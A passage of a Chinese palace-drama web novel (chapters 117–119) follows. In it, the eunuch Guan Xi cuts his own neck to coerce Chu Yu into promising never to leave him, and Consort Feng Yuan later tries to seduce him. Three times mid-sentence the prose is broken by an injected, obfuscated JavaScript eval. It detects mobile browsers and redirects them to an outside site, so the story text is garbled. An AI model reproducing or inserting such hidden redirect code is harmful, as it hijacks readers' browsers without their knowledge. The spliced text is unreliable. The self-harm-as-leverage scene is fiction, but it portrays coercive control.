狭长的刀身如一泓秋水,映着跳动的烛光,也映出关禧那双空洞得吓人的凤眼。他握着刀柄,指节因为用力泛出青白色,手很稳,稳得没有一丝颤抖。 他将刀锋,横在了自己的颈侧。 锋利的刃口紧贴着皮肤,传来刺骨的寒意,他微微偏头,调整了一下角度,让刀锋压在颈动脉的位置。 然后,他抬眼,看向床上的楚玉。 楚玉在他拔刀时,眼睫颤动了一下,却没有睁眼,直到那声金属摩擦的余音在室内回荡,直到森冷杀气弥漫开来,她才掀开了眼帘。 映入她视线的,就是关禧横刀颈侧,面无表情的脸。他站在那里,身姿挺拔,可周身笼罩着一层浓得化不开的死气,那双总是盛满了算计野心,或偶尔为她泄露柔软的眼睛,此刻空无一物。 “你……”楚玉的声音卡在喉咙里,脸色一下变得比之前更加惨白。她以为他只是在气头上,像以往那样失控,说些狠话,摔些东西……可眼前这情景,完全超出了她的预想。那横在颈侧的刀不是摆设,他握刀的姿势,抵住的位置…… “关禧!你干什么?!把刀放下!” 她厉喝,挣扎着想坐起来,可病弱的身体一阵虚脱,又重重跌回枕上,只换来一阵撕心裂肺的咳嗽。 117.第 117 章 关禧对她的反应恍若未闻,嘴角扯动了一下,像是想笑。 “楚玉,”他开口,声音平直得没有起伏,“你刚才说的,我都听懂了。很对,很有道理。是我拖累你,是我脏。” “既然我的存在,只会让你为难,让你不得不选择推开我,选择更稳妥的依靠……”他顿了顿,颈侧的肌肉因为说话牵动,锋利的刀锋瞬间压出一道细细的白痕,随即,一丝异常刺目的猩红,从那白痕中渗了出来。 血珠很小,却红得惊心动魄,沿着刀锋,慢慢凝聚,然后滴落。 “嗒。” 一滴血,落在他靛青色常服的肩头,迅速洇开一小团深色的痕迹。 “嗒。” 又一滴,落在他脚下的地砖上,绽开一朵凄艳的红梅。 楚玉的瞳孔骤然收缩到极致。不是作态,不是威胁……他真的在用力!那血……是真的!他眼底那片死寂的灰败,也是真的!他是真的……不想活了! 所有的理智权衡,推开他的决心,在这一刻,被那刺目的鲜血和关禧眼中的绝望,冲击得粉碎。 “不……不要!”她不知从哪里爆发出最后一股力气,掀开身上的锦被,整个人从床榻上翻滚下来。 “砰!” 她重重摔在地上,发出一声闷响,剧痛袭来,她却恍若未觉,手脚并用地,朝着关禧的方向爬去。素白的中衣散开,墨黑的长发披散了一地,她脸色惨白,眼眶通红,泪水决堤般汹涌而出。 “关禧!把刀放下!我求你!把刀放下!”她哭喊着,伸出手,颤抖着想去够他的衣角,去够他握刀的手,却又不敢真的触碰,怕刺激到他,“是我错了!都是我错了!我不该说那些话!我不推开你了!再也不推开了!求求你……把刀放下……不要死……你不能死!” 她语无伦次,哭得几乎背过气,爬到他脚边,仰起满是泪痕的脸,看着他颈侧那道仍在渗血的伤痕,看着那悬于一线,随时可能彻底割裂他生命的刀锋,恐惧和悔恨将她彻底淹没。 关禧垂下眼,看着她狼狈不堪的模样。这是他第一次见到楚玉如此崩溃,如此不顾一切地哀求。以往的她,总是清冷的,克制的,将一切情绪深埋心底。可现在,她为了他,从病榻上滚落,跪在他脚边,哭的梨花带雨。 心中那片死寂的荒原,被她的泪水烫了一下,泛起一丝微弱的涟漪。 “不推开我了?”他轻声问,声音飘忽,“哪怕我脏?哪怕我是你的拖累和死穴?哪怕……我心里装着太后,身体也被她……?”他每一个字都像在凌迟自己,也像在逼迫她。 楚玉拼命摇头,泪水飞溅:“不在乎了!我什么都不在乎了!只要你活着!关禧,我要你活着!”她伸出颤抖的手,死死抓住了他握刀那只手的手腕,“没有你,我守着这稳妥有什么用?我推开你,是因为我怕你因我而死,我怕我承受不起,可我更怕你现在就死在我面前!” 她仰着头,泪水模糊了视线,声音哽咽得不成调:“我是心动,是心疼,是恨不得替你承受一切,这份心思,从来就没变过!只是我太懦弱,太自以为是,以为推开你是对你好,我错了,我真的知道错了,你别这样惩罚我,别用你的命来罚我,我受不了,关禧,我求你……” 她抓着他手腕的力道大得惊人,指甲掐进他的皮肉里,身体因为恐惧和激动剧烈颤抖。 关禧握刀的手,抖了一下。 腕上传来的力量,她脸上肆意流淌的泪水,她眼中那片濒临崩溃的恐慌和深不见底的眷恋…… 原来……她是在怕这个。 怕他因她而死。 所以宁可自己承受分离的痛苦,宁可被他误会,宁可让他恨她,也要把他推开,推到一条看似更安全的路上。 愚蠢。自以为是的愚蠢。 可偏偏……这份愚蠢,源于对他的在乎,深到不敢承受失去他的风险。 颈侧的刺痛感持续传来,鲜血还在缓慢渗出,染红了刀锋和他的衣领。死亡触手可及,只要他手腕再用力一分…… 可脚下,是哭得浑身发抖,苦苦哀求的楚玉。她抓着他的手腕,像抓着救命稻草,那力度,那温度,那绝望中迸发出的强烈情感,是如此真实,如此滚烫,烫得他几乎握不住刀。 他忽然觉得无比疲倦。 想死的念头是真的,那一瞬间的万念俱灰也是真的。可此刻,看着这样的楚玉,那求死的决心,竟像阳光下的冰雪,开始消融。 活着……固然是累,是脏,是痛。 可死了,就真的什么都没有了。再也看不到她,再也感受不到她此刻抓着自己手腕的力度,再也听不到她为自己哭泣的声音。 而且……为什么要死?为什么要让那些把他逼到这一步的人如愿?皇帝,太后,这吃人的宫廷……他若就这么死了,不过是又多了一具无人记得的枯骨,楚玉或许也活不长久。 不。 他松开了握刀的手指。 “哐当!” 绣春刀脱手落下,砸在地砖上,发出清脆的响声,滑出几步远,刀身上的血迹在砖面上拖出一道断断续续的红痕。 在刀落地的同时,楚玉一直紧绷到极致的神经骤然断裂,她向前一扑,用尽全身力气,抱住了关禧的腿,脸埋在他染血的衣袍上,放声大哭起来。 关禧站在原地,任由她抱着,泪水顺着他的下颌,滴落在她颤抖的肩背上,混合着她衣料上尚未干涸的血迹。他抬手,抚上自己颈侧那道火辣辣的伤口,指尖沾上温热的血。疼,但很真实。 他低头,看着脚下哭得几乎晕厥的楚玉,弯下腰,用那只沾血的手,摸了摸她凌乱的头发。 “别哭了,”他哑声道,声音干涩,“我不死了。” 楚玉的哭声只是顿了一瞬,随即变成了更压抑的呜咽,抱着他的手臂收得更紧。 关禧抿了抿唇,是啊,还不能死。 路还很长,还很黑。 但至少此刻,他知道了,在这条看不到尽头的黑暗路上,并非只有他一个人。 他弯下腰,伸手,把哭得脱力瘫软在地上的楚玉打横抱了起来。她的身体轻得吓人,在他怀里发抖。 他抱着她,走到床边,将她放回尚有馀温的锦褥间,拉过被子,仔细盖好。 然后,他转身,走到那柄躺在地上的绣春刀旁,弯腰拾起。指尖拂过沾血的刀锋,眼神冰冷。 “哐啷”一声,绣春刀被他还入鞘中。 他走回床边坐下,看着楚玉通红的眼睛,伸出手,用指腹拭去她脸上的泪痕,“楚玉,记住你今天说的话。再也不准推开我。” “记住了……记住了……”楚玉死死抓着他的袖口,眼泪扑簌簌地往下掉,她仰着脸,看着他颈侧那道细长刺目的血痕,声音抖得不成样子,“药……先上药……” 关禧没动。 他看着她眼中的恐慌和余悸,某种扭曲的满足感伴随着劫后余生的虚脱,慢慢爬满心头。瞧,她终究是怕的,怕他死。他伸出手,指尖触碰她湿漉漉的脸颊,抹去一滴将落未落的泪珠。 “死不了。”他低声说,嘴角扯出一个没什么笑意的弧度,“我心里有数,刀偏了一寸。” 这话半真半假,求死那一刻的决绝做不得假,但或许潜意识里,他也在赌,赌她会不会拦,会不会像现在这样,彻底崩溃防线。他赢了,赢得鲜血淋漓,也赢得一颗心被攥得更紧。 楚玉因他这句话打了个寒噤,一股凉意从脚底直窜头顶。偏了一寸?所以……他并非全然失控,而是在算计,用命在算计她的反应?这个念头让她胃里一阵翻搅,恐惧之外,添上了一层更深的寒意。 她看着他颈上的血,看着他那双恢复了幽深的凤眼,忽然觉得无比陌生,又无比熟悉。 这深宫里,谁的心不是千疮百孔,谁的算计不是浸着毒汁?她早该明白,从他被冯媛选中,一步步走到今天,那点曾经属于“关禧”的怯懦与茫然,早已被磨得只剩锋利的棱角和疯狂。 “你……”她想说什么,喉咙却哽住,垂下眼,手指松开他的衣袖,转而摸索着从枕边一个扁平的螺钿小盒里,取出干净的棉帕和一小罐气味清凉的药膏。这是她常备在身边,用来涂抹烫伤或擦伤的药膏。 关禧看着她低眉顺眼,强忍颤抖为自己处理伤口的样子,仰起头,方便她的动作,目光却流连在她低垂的侧脸上,那湿漉的睫毛,苍白的嘴唇,还有绷紧的下颌线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285393|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “楚玉,”他开口,声音比刚才更哑,“从今往后,你心里只能装着我。冯媛也好,别的什么人也罢,都不行。” 这不是商量,而是宣告。 经过刚才那一遭,她所有试图划清界限,为他好的理由,在他眼里都成了笑话和背叛,他现在要的,是绝对的,不容置疑的归属。 楚玉涂抹药膏的手指一颤,抬起眼,撞进他深不见底的眸子里,她张了张嘴,想解释她对冯媛的感情复杂,不是他想的那种,想告诉他这样只会让两人都陷入更危险的境地……但触及他颈上那道自己亲手敷上药膏的伤口,所有的话都堵在了喉咙里。 她怕,怕极了那刀锋再次贴近他脖颈的画面。 最终,她点了一下头,声音细若蚊蚋:“……好。” 关禧得到了想要的承诺,却没有感到轻松。他看到她眼底深处那抹挥之不去的忧惧和挣扎,这让他心头那簇阴火又蹿高了几分。不够,远远不够。他要的不仅仅是她口头应允,他要她眼里心里,再没有旁人的影子,要她的喜怒哀乐,生死荣辱,都只系于他一身。就像他早已被她,被这宫廷,被太后和皇帝,牢牢捆缚,不得解脱一样。 他俯身,不顾颈间伤口被牵扯的刺痛,冰凉的唇重重压上她苍白的唇瓣,与其说是亲吻,不如说是一种带着血腥气的侵占,蛮横地撬开她的齿关,掠夺她的呼吸,吞噬她未尽的呜咽和泪水咸涩的味道。 楚玉被动承受着这个毫无温情可言的吻,直到肺部空气耗尽,眼前发黑。关禧终于退开些许。 两人额头相抵,呼吸交织。 看着她被吮得红肿的唇,看着她失神的眼,关禧抬手,用指腹抚过她的下唇,“记住这种感觉,楚玉。我活,你活。我若哪天真的死了……”他停顿了一下,眼底掠过一丝阴郁的光:“你也别想独活。更别想回到冯媛身边去。” 这话里的独占欲,让楚玉浑身冰冷,如坠冰窟。她终于看清,眼前这个少年,早已不是当初那个需要她提点,在夹缝中求存的小太监。他是九千岁关禧,是从尸山血海里爬出来的阎罗,也是被权力和情感双重扭曲,执念深重,不惜以命相搏的疯子。 而她自己,亲手用所谓的推开和为他好,将他心底最后一点对温情的渴望,淬炼成了最偏执的锁链,如今,这锁链的一端牢牢系在他的脖颈上,另一端,则紧紧捆住了她的手脚和心神。 门外,传来了脚步声,是冯媛回来了。她体贴地在外面停留了足够久的时间。 关禧迅速直起身,脸上所有阴郁的神情在瞬间收敛,快得让人以为是错觉。他抬手,立起自己靛青色常服的衣领,恰好遮住了颈间那道敷了药膏的伤痕,又迅速将那柄绣春刀佩回腰间。除了脸色比来时更加苍白几分,眼尾还残留着一丝不易察觉的红,他又变回了那个喜怒不形于色的关督主。 楚玉也慌忙用袖子擦了擦脸,拉高锦被,试图遮掩自己红肿的眼睛和凌乱的衣衫。 冯媛推门进来时,看到的便是这样一幅景象:关禧背对着床榻,负手立于窗前,似乎在欣赏院中雪景;而楚玉则蜷缩在床角,脸朝着内侧,肩膀起伏,似是睡着了,又似在压抑着咳嗽。 “让掌印久等了。”冯媛笑容温婉依旧,手中拿着一本泛黄的旧册,“那本旧档寻了许久才找到,一些规制与如今颇有不同,正好向掌印请教。”她的目光状似无意地扫过床榻,在楚玉发抖的背影上停留了一瞬,又自然移开,落在关禧挺直的背影上。 关禧转过身,脸上已是一派平静,“娘娘言重了。奴才方才见青黛姑娘似乎困倦,便未敢打扰。既有旧例需参详,奴才自当为娘娘解惑。” 冯媛含笑点头,引他到外间暖炕上坐下,摊开旧册,指着几处询问起来。关禧应对如流,声音不高不低,条理清晰。 内间,楚玉听着外间平静到诡异的对话声,身体无法抑制地颤抖。唇上是他蛮横侵占留下的刺痛,耳边是他那句“我若死了,你也别想独活”的诅咒。 有些东西,从今天起,不同了。 关禧用他的疯狂和鲜血,在她和他之间,划下了一道再也无法跨越,也无法挣脱的深渊。 她被困住了,被他,也被自己那该死无法割舍的在意。 118.第 118 章 窗外,雪又开始飘落,细密的雪粒被风卷着,斜斜地打在窗棂上,簌簌作响,渐渐覆盖了庭院中尚未来得及清扫的零星足迹,也覆盖了这重重宫阙之下。 外间暖炕上,一问一答,平和有序。旧年宫规,人员安置,田庄贡赋……皆是无关痛痒的琐碎条目。冯媛的指尖在泛黄纸页上徐徐划过,声音温润如常;关禧的应答简洁清晰,滴水不漏。 终于,几处疑义厘清,那本旧册被合上。 “有劳掌印解惑。到底是司礼监掌印,对这些陈年旧制也了然于胸。”冯媛抬眼,唇边噙着一贯温婉的笑意,册子搁在一旁的小几上。 “娘娘过誉,分内之事。”关禧起身,一副公事已毕,准备告辞的姿态,“既已清楚,奴才便不打扰娘娘休息,青黛姑娘也需静养。” 他转身,玄色大氅早已由双喜在门外接过,此刻只着靛青常服,身姿挺拔如修竹,侧脸在透过窗纸的雪光映照下,线条分明,有种冷峻美感。颈间衣领竖起,掩去了一切。他抬步,欲向门口走去。 就在他的指尖即将触到门扉的刹那。 一只温热柔软的手,覆上了他的手背。 关禧的脚步倏然顿住,浑身肌肉在那一瞬间绷紧,他垂眸,视线落在那只手上。指甲修剪得圆润整洁,染着淡淡的蔻丹,指尖温热,正贴着他因为方才握刀和情绪激荡犹带微凉的手背皮肤。 是冯媛的手。 她不知何时已悄然走近,就站在他身侧半步之遥的位置。没有过分贴近,却已侵入了寻常臣属绝不敢僭越的距离。她身上那股清雅混合了书卷气和淡淡薰香的气息,丝丝缕缕萦绕过来。 “雪天路滑,掌印何必急着走。”冯媛的声音比方才低了些,更柔了些,响在他耳畔,“方才说了这许多话,茶都凉了。本宫让人换盏热的来,掌印暖暖身子再回衙署不迟。” 她的指尖,在他手背上摩挲了一下。那动作细微得几乎像是错觉,又带着超越礼节界限的暧昧。 关禧的瞳孔在阴影中骤然收缩。 不是错觉。 冯媛在碰他。用这种方式,在这种时候。 电光石火间,无数被忽略的细节碎片串联起来,初入承华宫时,冯媛落在他脸上那审视又复杂的一瞥;楚玉曾隐晦提及“娘娘原本有些别的打算”;那些被他刻意遗忘关于冯媛可能亲自教导他的传闻;以及更早以前,她看他时,偶尔一闪而过,难以捉摸的眼神…… 一个荒谬又在此时显得无比清晰的念头,撞入他的脑海:冯媛对他……并非全无情愫。 至少,绝非仅仅视作一枚可利用的棋子。 当初或许是因他宦官的身份,因她自身的骄傲和立场,让她按捺下了那点心思,转而将他作为礼物送出。可如今,他不再是那个任人摆布,苍白瘦弱的小太监。他是权倾朝野的九千岁,是司礼监掌印,是这深宫里最特殊也最危险的存在之一。 他长开了,这张脸在权势与鲜血的浸染下,褪去了青涩,添了凌厉阴郁,也越发昳丽勾人,像淬了毒的罂粟,明知危险,却忍不住被吸引。 而现在,他刚刚在楚玉那里经历了一场情绪的山崩海啸,颈侧还带着未愈的伤,心神最是激荡不稳的时候。 冯媛选在这个时机,用这种方式,她是在试探什么?是终于按捺不住那点隐秘的好感?还是另有所图,想在他与太后,皇帝之间,再添一道更复杂的牵绊? 关禧的心跳漏了一拍,随即是更沉重的搏动,撞击着胸腔。他缓缓转过头。 冯媛正仰着脸看他,距离近得他能看清她眼中自己的倒影,她的脸颊因殿内暖意,也或许是因为别的什么,泛着淡淡的粉,唇色也比平日更润泽些,甚至,那覆在他手背上的掌心,温度更高了些。 四目相对。 关禧的眼底,方才面对楚玉时的疯狂早已荡然无存,只剩下深潭般的幽暗。他看着她,像是第一次真正看清这位温婉端庄的昭仪娘娘。 然后,他勾了一下唇角。 那笑意很短,未达眼底,他任由她握着,侧身,变成了一个更便于面对她的姿态。 这个细微的调整,让两人之间的空气陡然变得不同。 “娘娘盛情,奴才却之不恭。” 冯媛眼中光芒微闪,没料到他会是这般反应,没有惊慌失措地抽手告罪,也没有故作不解地回避,而是以一种默许,带着点反向审视的姿态,接住了她这逾越的试探。 她唇边的笑意深了些,松开了手,但那指尖撤离时,不经意般,从他手背的皮肤上滑过。 “双喜,”关禧扬声唤道,目光仍落在冯媛脸上,“去告诉外头的人,本督与娘娘尚有宫务要议,迟些再回衙署。” 门外的双喜显然愣了一下,应道:“……是,督主。” 关禧重新走回暖炕边,站在那儿。 冯媛也走回去,姿态优雅地坐下,亲自执起小炉上咕嘟冒泡的银壶,往两个早已备好的白瓷杯里注入热水。茶叶是新贡的雨前龙井,根根竖立,在杯中舒展,漾开清透的碧色。 “掌印请坐。”她将其中一杯推至关禧面前。 关禧这才落座,隔着袅袅升起的热气,与冯媛相对,淡淡道:“娘娘方才似乎不只是为了留奴才喝茶。” 他问得直接,打破了那层温婉的薄纱。 “掌印觉得呢?”冯媛不答反问,指尖绕着杯沿,“本宫该是为了什么?” 关禧笑了,这次的笑意真切了些,却更显凉薄:“奴才愚钝,猜不透娘娘心思。只是记得,当初在承华宫,娘娘对奴才似有不同。后来将奴才送走,娘娘可曾有过半分不舍?” 这话已是赤裸裸的挑明了过往。他在逼她摊牌。 冯媛脸上的温婉神色出现了裂痕,一丝被触及隐秘的羞恼掠过眼底。她抿了抿唇,放下茶杯,瓷器与炕几相碰,发出清脆的一声响。 “不舍?”她重复着这个词,忽地也笑了,那笑容里多了几分属于冯家女的傲气,“关禧,你可知当初,由楚玉来教导你时,本宫是如何想的?” 她不再称“掌印”,而是直呼其名。 关禧面上不动声色:“愿闻其详。” “本宫当时想,”冯媛抬眼,目光在他脸上寸寸逡巡,从挺拔的眉骨,到那双此刻幽深如夜的凤眼,再到线条清晰的唇,“这样一副好相貌,这样一颗藏着野心的种子,若由本宫亲手雕琢打磨,该是何等有趣。” “教你读书识字,教你察言观色,教你在这深宫里如何生存,如何取悦该取悦的人。看着你从一块蒙尘的璞玉,一点点露出内里的光华,看着你因本宫的引导而蜕变,依赖。” “可惜,”她的语气陡然转冷,“你是个太监。再好的皮囊,再聪慧的心性,终究是残缺之人。本宫是冯家的女儿,是皇帝的昭仪,有些念头,想想便已是逾矩,何况付诸行动?楚玉看出本宫的犹豫,主动请缨,本宫便顺水推舟……将你,连同那点不该有的心思,一并送了。” “可本宫没料到,你会走到今天这一步。更没料到……你这张脸,这通身的气度,比当初在承华宫时,更动人心魄了。尤其是现在,明明刚从鬼门关走了一遭,明明心里惊涛骇浪,却还能坐在这里,跟本宫谈论不舍。” 关禧听着,眼底深处,暗流汹涌。冯媛这番话,半真半假,有坦露,有算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289661|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计,有身为高位者的矜持与不甘,也有被美色与权势吸引的本能。她是在告诉他,她当初并非对他无意,只是碍于身份和现实压抑了。而现在,他羽翼渐丰,权势煊赫,那份被压抑的心思,便有了重新滋生的土壤和理由。 “所以,娘娘今日留我,是想重新拾起当初未竟的雕琢?还是觉得,如今的关禧,值得娘娘冒险一试?” 他问得露骨,将两人之间那层暧昧又危险的窗户纸,彻底捅破。 冯媛执起茶杯,慢悠悠啜饮了一口,氤氲的热气模糊了她的眉眼。 “关禧,”她放下杯子,声音恢复了平静,“这宫里没有永恒的朋友,也没有永恒的敌人。皇帝忌惮你,太后掌控你,你的位置看似煊赫,实则步步惊心。你需要盟友,一个真正能在后宫、甚至在前朝为你说话,为你周旋的盟友。” “楚玉心里有你,本宫知道。可她只是个宫女,她能给你的,除了那点心意,还有什么?本宫不一样。冯家的清誉,本宫协理六宫的权柄,乃至未来可能更高的位份,都是筹码。” 她倾身,拉近了两人之间的距离,那股清雅的香气再次笼罩过来,声音压得极低: “与本宫合作,你得到的,会更干净。”她的目光意有所指地掠过他颈间竖起的衣领,“至少,本宫不会逼你到以命相搏的地步。” 合作?盟友? 关禧几乎要冷笑出声。冯媛这话,看似为他着想,实则字字句句都在离间他与太后,都在彰显她所能提供的价值与安全。她想用她所谓的干净和冯家的势力,将他从太后身边拉拢过来,成为她冯媛在宫廷博弈中更有利的棋子,或许也满足她那份迟来对美色与掌控的渴望。 真是打得好算盘。 可他关禧,早已不是那个可以被人随意挑选,赠予,又试图回收的物件了。 他站起身,居高临下地看着坐在炕上的冯媛。 “娘娘的美意,奴才心领了。只是,奴才这条命,是太后娘娘捡回来的。奴才如今所有的一切,也都是太后娘娘赏的。奴才愚钝,只知道忠心事主,从一而终的道理。至于盟友……” “奴才以为,在这宫里,最靠得住的盟友,永远是自己手中的权柄,和永不背主的刀。” 这话已是明确的拒绝。 冯媛脸上的笑容消失。她没料到关禧会拒绝得如此干脆,甚至抬出太后来压她。更让她心头发冷的是,他眼中那抹毫不掩饰讥诮。 他看着她的眼神,就像在看一个试图与虎谋皮的蠢人。 暖阁内陷入一片沉寂。 不过片刻,她又笑了起来,只是这次的笑意未达眼底,更像是一层面具。 “掌印说的是。”她执起茶杯,吹了吹浮沫,“是本官唐突了。在这宫里,忠心确是第一要紧的。太后娘娘能得掌印这般臂助,实在令人钦羡。” 她话锋一转,语气恢复了谈论宫务时的平和:“今日劳掌印跑这一趟,又耽搁这些时辰,想必衙署还有诸多事务。本宫便不多留了。”她放下茶杯,目光瞥向内室方向,意有所指,“只是玉儿这病,还需静养些时日。掌印既也挂心,往后若有暇……承华宫的门,总还是开着的。” 这是以退为进,也是提醒,楚玉还在她手里,在她宫里养病。关禧可以拒绝她的合作,却不能彻底撕破脸。 关禧自然也听懂了。 他脸上的讥消敛去,换上恭谨,微微躬身:“奴才明白。青黛姑娘的病,还要多劳娘娘费心照拂。奴才感激不尽。” 他刻意强调了“照拂”二字,既是恳请,也是牵制,楚玉若在承华宫有丝毫闪失,今日这番交心,便可能是他日的把柄。 119.第 119 章 冯媛领首,端茶送客的姿态摆得十足。 关禧转身,再次走向门口。这一次,冯媛没有拦。只是在他即将拉开门扉的刹那,身后传来她的声音: “关禧。” 他又一次顿住。 “你对玉儿……倒真是情深义重。”冯媛顿了顿,似乎在斟酌词句,又似乎只是单纯的感叹,“方才在里头,动静不小。本宫虽未进去,却也猜得到几分。你这般不管不顾……值得吗?” “那娘娘呢?”关禧转过身,看向那个看似温婉娴静的女人,“您对楚玉,又是什么心思?” 冯媛没料到他会在此时反问,一怔。 关禧向前走了几步,重新拉近了距离,视线牢牢锁住她,不放过她脸上一丝一毫的变化,“是爱吗?若真是爱,怎会忍心将她当作棋子,当作铺路的垫脚石,当作维系权力、甚至试探他人的工具?当年在承华宫,您让她来教导我,其中几分是看重她的能力,几分是顺水推舟,遂了她或许自己都未全然明了的心意,也顺便,将我这颗您觉得有趣却残缺的棋子,物尽其用?” 他的质问如剥茧抽丝,一层层揭开过往温情的假面。 “可若是不爱,您方才抱着她喂药的模样,那眼神,那姿态,又作何解释?寻常主仆,乃至姐妹情深,能做到那一步?娘娘,您告诉奴才,您对楚玉,到底存着什么心思?” 这问题太尖锐,太私人,也太危险。它触及了冯媛内心深处连自己或许都未曾厘清的混沌地带。 冯媛脸上的平静被打破。她握紧了手中的帕子,指尖泛白,迎上关禧探究的目光,那目光太亮,太具穿透力,让她有种无所遁形的感觉。 她沉默了很久,久到窗外的雪光都黯淡了几分。 “本宫不知道。”她终于开口,声音有些飘忽,“玉儿她从小就跟在本宫身边。聪明,懂事,冷静,比本宫更像这宫里的人。本宫习惯了依赖她,信任她,也心疼她。” “或许,就像你猜测的那样,有依赖,有愧疚,有利用,也有一些连自己也说不清道不明的东西。但那不是男女之情。本宫很清楚,自己倾慕的,从来都是挺拔如松、能让人依靠的男子。” 她说着,目光重新落回关禧身上,那眼神复杂难言,眼前的少年,早已褪去当年瘦弱,长成了这般昳丽夺目又危险莫测的模样。他挺拔,即便身份特殊,那通身的气度,甚至比许多男子更甚。这认知让她的心湖泛起一丝微澜,但也仅止于此了。她是冯媛,她的骄傲和理智,不允许她真的对一个宦官投入男女之爱,即便这个宦官是权倾朝野的关禧。 “本宫对玉儿,”冯媛总结般地说道,更像是在说服自己,“是主仆,是姐妹,是在这冰冷宫墙里,相互取暖、彼此懂得的两个人。仅此而已。” 关禧听罢,脸上没什么表情。果然如此。冯媛对楚玉的感情,是深宫里扭曲环境下滋生的,混杂了太多因素的藤蔓,缠绕,依赖,并非他与楚玉之间那种爱/欲。 而这个认知,不知为何,让他心头那份因为冯媛方才的触碰和暗示而升起的异样情绪,变得更加复杂难言。他看着冯媛,这个女人,是他踏入权力漩涡的引路人之一,她亲手将他从泥泞中拉起,又亲手将他送入更深的虎口。她有着他欣赏甚至曾隐约渴慕过的清贵与聪慧,容貌气质也在他审美之中。可偏偏,他们之间隔着楚玉,隔着宦官的身份,隔着这深宫里泾渭分明的天堑。 有那么一瞬间,关禧感到一种深切的疲惫。恨她吗?怨她吗?似乎都有。可在这条由她开启的血腥之路上,他是否也在某种程度上,成为了她所雕琢期待的模样?甚至……方才她指尖的温度,她话语里未曾完全熄灭的隐秘欣赏,是否也曾在他心底某个角落,激起过一丝涟漪? 这种动摇让他感到自我厌恶,却又无法完全遏制。 冯媛何其敏锐,她立刻捕捉到了关禧眼中那一闪而过的复杂情绪,她心中微动,方才被拒绝的恼怒,被一种更微妙的冲动取代。 她忽然站起身,走向关禧。 关禧下意识想要后退,脚步却像钉在了地上。他看着冯媛走近,近到能闻到她身上清雅的冷香,近到能看清她眼中那不再掩饰的暗沉。 冯媛抬起手,抚上了他的脸颊。 她的指尖微凉,在他因为情绪波动略显紧绷的皮肤上移动,从颌线到颧骨。 “你看,”她的声音轻得像叹息,目光流连在他脸上,“生得这样好,性子也磨砺出来了,比本宫当初想象的还要出色。”她的拇指指腹,按了按他紧抿的唇角,试图将那锋利的线条揉开一丝柔软,“可惜了……” 最后三个字,低不可闻。 然后,在他尚未从这复杂的情绪和触碰中回过神来时,冯媛踮起脚尖,仰起脸,一个吻,印在了他的唇角。 一触即分。 关禧睁大了眼睛,瞳孔骤缩。 “回去吧,关掌印。”冯媛已经退开了两步,脸上重新挂起了那副温婉得体的昭仪面具,仿佛刚才那逾矩的触碰和亲吻从未发生,“雪天路滑,小心脚下。” 关禧站在原地,足足过了好几息,才像是找回了自己的动作,他深深看了冯媛一眼,那眼神混乱不堪。 最终,他什么也没说,转身,一把拉开门,有些踉跄地,踏入了门外的雪光与等候的番役视线中。玄色大氅被双喜匆忙披上肩头,他却感觉不到丝毫暖意。 轿子起行,晃晃悠悠,碾过积雪未清的宫道。 关禧靠在轿厢壁上,双目紧闭,脑海中如沸腾的油锅,楚玉绝望的泪眼,冯媛指尖的微凉与那句“可惜了”,太后寝殿里沉郁的龙涎香与肌肤相贴的灼热,无数碎片翻搅冲撞,撕扯着他早已不堪重负的神经。 他刚刚才用命逼得楚玉答应不再推开他,可转眼间,他竟然因为冯媛一个意味不明的触碰和亲吻,心绪大乱。 冯媛是谁?是将他当作礼物和棋子送出的人,是楚玉心中分量极重,让她甘愿推开自己以保全的主子。他对冯媛,应该只有利用警惕,或许还有一丝因过往际遇而生的怨怼。 可方才那一刻,当冯媛抚上他的脸,当她眼中流露出那种复杂神色时,他竟然没有避开,甚至……心底某处被刻意冰封的角落,松动了一瞬。 是因为她那张漂亮的脸?还是仅仅因为,在这全是利用与胁迫的深渊里,那一点来自旧主暧昧难辨的欣赏,竟让他产生了一丝慰藉? 无论因为什么,都让他感到无比恶心。 对楚玉的愧疚,对冯媛那点不该有的动摇,对太后掌控下不得不曲意逢迎的自我厌弃,还有这具身体,这个身份带来的一切屈辱……所有情绪拧成一股毒藤,死死缠住他的心脏,越收越紧。 他真是个彻头彻尾的烂人,渣滓。 在太后身下承欢时,想着楚玉,在楚玉面前以死相逼换她心软后,转眼却因另一个女人的触碰而心猿意马。他口口声声说心里只有楚玉,要她只看着自己,可他自己呢?他的情感,他的欲/望,他的注意力,早已被这宫廷,被这些手握权柄的女人,撕扯得支离破碎,连自己都辨不清真假。 他甚至不如那些纯粹的恶人,至少他们坏得理直气壮。而他,一边做着最肮脏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289662|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,一边还妄图抓住一点干净的念想,结果把所有人都拖进泥潭,自己也变成了这副连自己都憎恶矛盾扭曲的怪物。 “啪——!” 